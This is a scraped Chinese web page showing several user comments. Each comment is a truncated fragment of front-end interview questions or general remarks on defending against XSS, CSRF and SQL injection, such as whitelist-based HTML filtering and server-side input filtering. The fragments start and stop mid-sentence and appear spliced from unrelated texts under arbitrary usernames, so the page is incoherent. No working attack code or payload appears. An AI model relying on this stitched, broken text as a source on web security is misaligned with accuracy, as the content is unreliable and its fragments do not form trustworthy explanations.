  • 如何管理前端团队?最近在学什么?能谈谈你未来3,5年给自己的规划吗?前端安全方面有没有了解?xss和csrf如何攻防在那个年代,大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用,于是 SQL 注入成了
  •  边侣倾弋
     发布于 2022-07-08 18:14:12  回复该评论
  • 站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过
  •  性许粢醍
     发布于 2022-07-08 15:00:10  回复该评论
  • 。最后获得的新 HTML 元素树,我们可以拍胸脯保证——所有的标签、属性都来自白名单,一定不会遗漏。现在看来,大多数 Web 开发者都了解 XSS 并知道如何防范,往往大型的 XSS 攻击(包括前段时间新浪微博的 XSS
  •  惑心野慌
     发布于 2022-07-08 19:28:51  回复该评论
  • 台做一层过滤,前台文本编辑器可以自己做一层标签过滤,不允许一些符号的输入就行了xss攻击前端能做的有限因为好多都是url转码来通过参数找漏洞,所以后台也要做一层过滤(例如nodejs的sql库就只允许单行sql,防止通过xss做注入)java之类的有现成多xss过滤器剩下的就做ip黑名单吧,防止多次
  •  礼忱槿畔
     发布于 2022-07-08 18:33:17  回复该评论
  • 端开发的理解?(和 Web 前端开发的主要区别是什么?)你对加班的看法?平时如何管理你的项目?说说最近最流行的一些东西吧?常去哪些网站?如何设计突发大规模并发架构?说说最近

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.